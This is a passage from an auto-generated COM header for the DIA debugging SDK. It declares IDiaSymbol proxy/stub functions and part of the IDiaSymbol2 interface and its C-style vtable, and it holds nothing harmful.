_pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isPGO_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isPGO_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasValidPGOCounts_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_hasValidPGOCounts_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isOptimizedForSpeed_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_isOptimizedForSpeed_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGOEntryCount_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_PGOEntryCount_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGOEdgeCount_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_PGOEdgeCount_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_PGODynamicInstructionCount_Proxy( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); void __RPC_STUB IDiaSymbol_get_PGODynamicInstructionCount_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_staticSize_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_staticSize_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_finalLiveStaticSize_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_finalLiveStaticSize_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_phaseName_Proxy( IDiaSymbol * This, /* [retval][out] */ BSTR *pRetVal); void __RPC_STUB IDiaSymbol_get_phaseName_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasControlFlowCheck_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_hasControlFlowCheck_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_constantExport_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_constantExport_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_dataExport_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_dataExport_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_privateExport_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_privateExport_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_noNameExport_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_noNameExport_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exportIsForwarder_Proxy( IDiaSymbol * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol_get_exportIsForwarder_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_ordinal_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_ordinal_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_frameSize_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_frameSize_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerAddressSection_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_exceptionHandlerAddressSection_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerAddressOffset_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_exceptionHandlerAddressOffset_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_exceptionHandlerVirtualAddress_Proxy( IDiaSymbol * This, /* [retval][out] */ ULONGLONG *pRetVal); void __RPC_STUB IDiaSymbol_get_exceptionHandlerVirtualAddress_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); HRESULT STDMETHODCALLTYPE IDiaSymbol_findInputAssemblyFile_Proxy( IDiaSymbol * This, /* [out] */ IDiaInputAssemblyFile **ppResult); void __RPC_STUB IDiaSymbol_findInputAssemblyFile_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_characteristics_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_characteristics_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_coffGroup_Proxy( IDiaSymbol * This, /* [retval][out] */ IDiaSymbol **pRetVal); void __RPC_STUB IDiaSymbol_get_coffGroup_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindID_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_bindID_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindSpace_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_bindSpace_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_bindSlot_Proxy( IDiaSymbol * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol_get_bindSlot_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol2_INTERFACE_DEFINED__ #define __IDiaSymbol2_INTERFACE_DEFINED__ /* interface IDiaSymbol2 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol2; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("611e86cd-b7d1-4546-8a15-070e2b07a427") IDiaSymbol2 : public IDiaSymbol { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCClass( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCCategory( /* [retval][out] */ BOOL *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_isObjCProtocol( /* [retval][out] */ BOOL *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol2Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol2 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol2 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol2 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol2 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol2 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol2 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol2 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol2 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol2 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol2 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol2 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol2 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol2 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol2 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol2 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol2 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol2 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol2 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol2 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol2 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol2 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol2 * This, /* [retval][out] */ BOOL *pRetVal); /* 